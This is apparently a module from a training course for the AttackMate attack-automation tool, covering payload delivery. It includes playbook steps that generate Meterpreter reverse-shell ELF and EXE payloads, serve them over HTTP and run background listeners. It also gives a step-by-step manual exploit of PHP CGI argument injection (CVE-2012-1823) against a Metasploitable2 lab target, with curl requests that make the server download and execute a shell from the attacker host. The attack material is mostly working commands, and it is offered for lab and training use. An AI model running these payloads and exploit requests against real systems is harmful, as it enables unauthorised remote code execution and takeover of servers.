

Module 3: Payload Delivery

Generating ELF and EXE Payloads with `msf-payload`

`msf-payload` wraps Metasploit's payload generation engine (`msfvenom`). The two most common formats for Linux and Windows targets are:

```
# Linux ELF binary
- type: msf-payload
  cmd: linux/x86/meterpreter/reverse_tcp
  format: elf
  local_path: /tmp/shell.elf
  payload_options:
    LHOST: 172.17.0.127
    LPORT: "4444"

# Windows PE executable
- type: msf-payload
  cmd: windows/x64/meterpreter/reverse_tcp
  format: exe
  local_path: /tmp/shell.exe
  payload_options:
    LHOST: 172.17.0.127
    LPORT: "4444"
```

Note: AttackMate uses `raw` as default format. With Metasploit installed you can run `msfvenom --list formats` to list all possible executable formats.

Using `mktemp` with `msf-payload`

Instead of hardcoding a path, use `mktemp` to create a temporary file. The file is automatically deleted when AttackMate exits.

```
- type: mktemp
  cmd: file
  variable: PAYLOAD_FILE

- type: msf-payload
  cmd: linux/x86/meterpreter/reverse_tcp
  format: elf
  local_path: $PAYLOAD_FILE
  payload_options:
    LHOST: $ATTACKER
    LPORT: $LPORT
```

Serving Files with `webserv`

The `webserv` command starts a simple HTTP server that serves a single file. This is how you deliver a generated payload to a victim machine that you can trigger to make an outbound HTTP request.

```
- type: webserv
  local_path: $PAYLOAD_FILE
  port: 8080
  background: True
  kill_on_exit: True
```

The victim can then download the payload with any HTTP client like `curl` or `wget`:

```
wget http://172.17.0.127:8080/shell.elf -O /tmp/shell.elf
curl -o /tmp/shell.elf http://172.17.0.127:8080/shell.elf
```

`webserv` Options

Option	Default	Description
<code>local_path</code>	(required)	Path to the file to serve
<code>port</code>	8000	Port to listen on
<code>address</code>	0.0.0.0	Address to bind to
<code>background</code>	False	Run as a background process
<code>keep_serving</code>	False	Keep serving after the first download

Note: By default (`keep_serving: False`), the server shuts down after the first successful download. Set `keep_serving: True` if multiple requests are expected. The `webserv` command is usually run with (`background: True`) explicitly set, to allow the playbook to continue running.

Background Mode and `kill_on_exit`

Many commands need to run concurrently with later playbook steps: a listener must be waiting while the payload is delivered, and a file server must be up while the victim downloads from it.

The `background` flag is available on most command types:

```
# Start the listener in background, continue to next command immediately
- type: msf-module
  cmd: exploit/multi/handler
  payload: linux/x86/meterpreter/reverse_tcp
  payload_options:
    LHOST: $ATTACKER
```

```
LPORT: $LPORT
creates_session: shell
background: True
kill_on_exit: True
```

Key Flags

Flag	Default	Description
<code>background</code>	<code>True</code>	Run the command without waiting for it to finish
<code>kill_on_exit</code>	<code>True</code>	Terminate the background process when the playbook ends

Timing with Background Commands

When a command runs in background, AttackMate moves on immediately. You often need a brief pause before the next step to give the background process time to start:

```
# Start listener in background
- type: msf-module
  cmd: exploit/multi/handler
  payload: $PAYLOAD
  payload_options:
    LHOST: $ATTACKER
    LPORT: $LPORT
  creates_session: shell
  background: True
  kill_on_exit: True

# Wait 2 seconds for the listener to be ready
- type: sleep
  seconds: 2

# Now trigger the payload execution on the target
```

Step-by-Step: PHP CGI Argument Injection (CVE-2012-1823)

Before running walkthrough 02, trace through this exploit manually so the playbook makes sense.

What is this vulnerability?

Metasploitable2 runs PHP in CGI (Common Gateway Interface) mode, meaning the web server delegates PHP execution to a separate CGI binary (`/cgi-bin/php`). This becomes dangerous due to [CVE-2012-1823](#), a vulnerability in how PHP's CGI binary processes HTTP request data. Normally, a web server passes query string parameters to a PHP script as `$_GET` variables. However, when PHP runs as a CGI binary, query strings that don't contain an `=` sign are instead interpreted as command-line arguments passed directly to the PHP binary. This means an attacker can inject `-d` flags (the same flags used at the CLI to override `php.ini`

directives) without any authentication or special privileges. The exploit abuses this by overriding two directives at runtime:

- `allow_url_include=on` lifts the restriction that prevents PHP from including code from arbitrary streams and URLs
- `auto_prepend_file=php://input` instructs PHP to automatically execute the contents of `php://input` (the raw HTTP request body) before the target script runs

With these two directives in place, whatever PHP code the attacker places in the POST body is executed directly on the server with the same privileges as the web server process. No file upload, no authentication, no prior foothold — just a single crafted HTTP request.

Manual steps (what the playbook automates): Remember: Replace the LHOST address (attacker) and METASPLOITABLE-IP with your win addressed

1. Generate a reverse shell payload (ELF binary):

```
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=172.17.0.127 LPORT=4344 -f elf -o /tmp/shell.elf
```

2. Serve the payload from the attacker machine:

```
cd /tmp
python3 -m http.server 8080
```

3. Use the PHP RCE vulnerability to make the target download the payload:

```
curl -XPOST \
  "http://<METASPLOITABLE-IP>/index.php?-d+allow_url_include%3don+-
  d+auto_prepend_file%3dphp://input" \
  -d "<?php system('wget -O /tmp/shell http://<ATTACKER-
  IP>:8080/shell.elf')?>"
```

4. Open another terminal window and start a listener:

```
msfconsole -x "use exploit/multi/handler; \
  set payload linux/x86/meterpreter/reverse_tcp; \
  set LHOST <ATTACKER-IP>; set LPORT 4344; run"
```

5. Open another terminal window and use the PHP RCE to execute the downloaded payload:

```
curl -XPOST \
  "http://<METASPLOITABLE-IP>/index.php?-d+allow_url_include%3don+-
```

```
d+auto_prepend_file%3dphp://input" \  
-d "<?php system('chmod +x /tmp/shell && /tmp/shell &')?>"
```

6. The listener catches the reverse shell connection.

In AttackMate, all of this becomes a single playbook. Walkthrough [02_php_rce_payload.yml](#) automates these six steps and wires them together with variables.